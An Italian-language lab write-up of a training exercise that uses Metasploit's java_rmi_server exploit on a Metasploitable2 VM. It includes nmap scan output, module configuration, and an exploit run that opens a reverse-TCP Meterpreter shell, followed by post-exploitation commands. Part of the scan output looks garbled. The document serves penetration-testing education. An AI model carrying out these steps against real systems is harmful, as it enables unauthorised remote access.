

# Progetto Settimanale

La traccia ci chiede di sfruttare la vulnerabilità Java RMI con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

## Java RMI

Java RMI ci permette di invocare i metodi di un oggetto di una applicazione Java in esecuzione su una macchina remota.

## Impostazione degli indirizzi IP

L'esercizio ci chiede di modificare gli indirizzi sulle macchine Kali e Metasploitable2.

**Kali** con l'indirizzo IP: 192.168.11.111.

```
GNU nano 6.4 /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

**Metasploitable2** con l'indirizzo IP: 192.168.11.112.

```
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.50.101
netmask 255.255.255.0
network 192.168.50.0
broadcast 192.168.50.255
gateway 192.168.50.1
```

```
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

Verifica comunicazione macchine:

Metasploitable ➡ Kali

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=7.57 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.761 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.766 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.747 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=0.756 ms
64 bytes from 192.168.11.111: icmp_seq=6 ttl=64 time=0.781 ms

--- 192.168.11.111 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5006ms
rtt min/avg/max/mdev = 0.747/1.897/7.571/2.537 ms
msfadmin@metasploitable:~$
```

Kali ➡ Metasploitable

```
(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.11 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=5.00 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.43 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=4.58 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=3.94 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.624 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=4.68 ms
^C
— 192.168.11.112 ping statistics —
7 packets transmitted, 7 received, 0% packet loss, time 6034ms
rtt min/avg/max/mdev = 0.624/3.479/4.997/1.441 ms
```

## Vulnerabilità sulla porta 1099 - Java RMI

Le vulnerabilità sulle porte le troviamo facendo una o più scansioni sull'indirizzo della macchina che vogliamo attaccare. Normalmente andremo ad utilizzare nmap e nessus.

Nel nostro caso la vulnerabilità ci viene già illustrata dalla traccia; per una conferma si può fare comunque una scansione. Nel mio caso l'ho fatta con nmap per avere una scansione veloce e oggettiva.

### Scansione:

```
(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.11.112
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 04:06 CEST 11.112
Nmap scan report for 192.168.11.112
Host is up (0.0014s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:  UNIX (Linux 3.16.0-10-generic)
|_STAT:    200 OK; help is available
|_FTP server status:
|_  Connected to 192.168.11.111
|_  Logged in as ftp
```

```
100000 2 112-1099 111/tcp rpcbind 1 for payload JAR
| 100000 2 112-1099 111/udp rpcbind 11.112
| 100003 2,3,4 2049/tcp nfs 100.11.111:4444 → 192.168.11.112:49825 at 2022-09-02 04:06:06 CEST
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 35170/udp mountd
| 100005 1,2,3 47703/tcp mountd
| 100021 1,3,4 37147/udp nlockmgr
| 100021 1,3,4 38937/tcp nlockmgr
| 100024 1 33404/udp status 1 for host/windows/gather/checkup
|_ 100024 1 48419/tcp status 1 for host/windows/gather/checkup
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake,
```

Come si può vedere dalla scansione, nmap ci fa vedere tutte le porte e servizi attivi e in questo caso possiamo vedere che la porta e il servizio corrispondono a quello che ci è stato detto.

# Acquisizione sessione remota Meterpreter

Per avere una sessione remota Meterpreter dobbiamo fare alcuni passaggi:

1. Partiamo dalla ricerca dell'exploit che ci serve, utilizzando il nome della vulnerabilità per fare la ricerca Metasploit che ci darà una serie di exploit che potremmo utilizzare.

```
msf6 > search java rmi
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Descr
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlas
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java
3	auxiliary/gather/java_rmi_registry		normal	No	Java
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenki
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenki
10	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozil
11	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total

2. Dopo che abbiamo fatto la ricerca e abbiamo ottenuto una lista degli exploit che possiamo utilizzare, andiamo a provarne uno. Meterpreter ci suggerisce un exploit da usare, ma potrebbe non essere quello giusto.

```
msf6 > use exploit/multi/http/totaljs_cms_widget_exec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show options

Module options (exploit/multi/http/totaljs_cms_widget_exec):

Name      Current Setting  Required  Description
-----
RHOST     127.0.0.1        true      Remote host address
```

Per cominciare, ho iniziato con quello suggerito però bisogna testarli tutti fino a trovare quello giusto o il più indicato. Dopo averli testati, l'exploit che sono andato ad utilizzare è **exploit/multi/misc/java\_rmi\_server**.

```
msf6 exploit(multi/http/totaljs_cms_widget_exec) > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

- 2b. Dobbiamo andare a mettere i parametri di configurazione richiesti dall'exploit. In questo caso specifico il parametro richiesto è rhost.

3. Controlliamo quali sono le configurazioni che ci richiede per poter fare l'exploit.

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)
```

Le configurazioni che chiede sono RHOSTS.

**RHOSTS:** Ci chiede di inserire l'IP della macchina della vittima, nel nostro caso quello di Metasploitable.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
```

4. Controlliamo che tutto sia stato impostato correttamente.

```
Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port
```

5. Lanciamo l'exploit. Nel caso che l'exploit sia andata a buon fine ci dirà che la sessione è aperta.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/5wIhJjt8
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:51802) at 2022-09-02 03:13:08 +0200

meterpreter > █
```

## Meterpreter

E' un programma che si avvia in memoria da metasploit ed è versatile.

Una volta ottenuta la Shell con Meterpreter possiamo inserire dei comandi.

1. Con **ifconfig** andiamo a verificare la configurazione di rete.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::14fe:53ff:fe6e:265a
IPv6 Netmask : ::

meterpreter > █
```

2. Con **Route** andiamo a controllare le informazioni sulla tabella di routing della macchina vittima.

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::14fe:53ff:fe6e:265a	::	::		

```
meterpreter > 
```

3. **Sysinfo** ci fa vedere le informazioni del sistema come OS della macchina vittima.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > 
```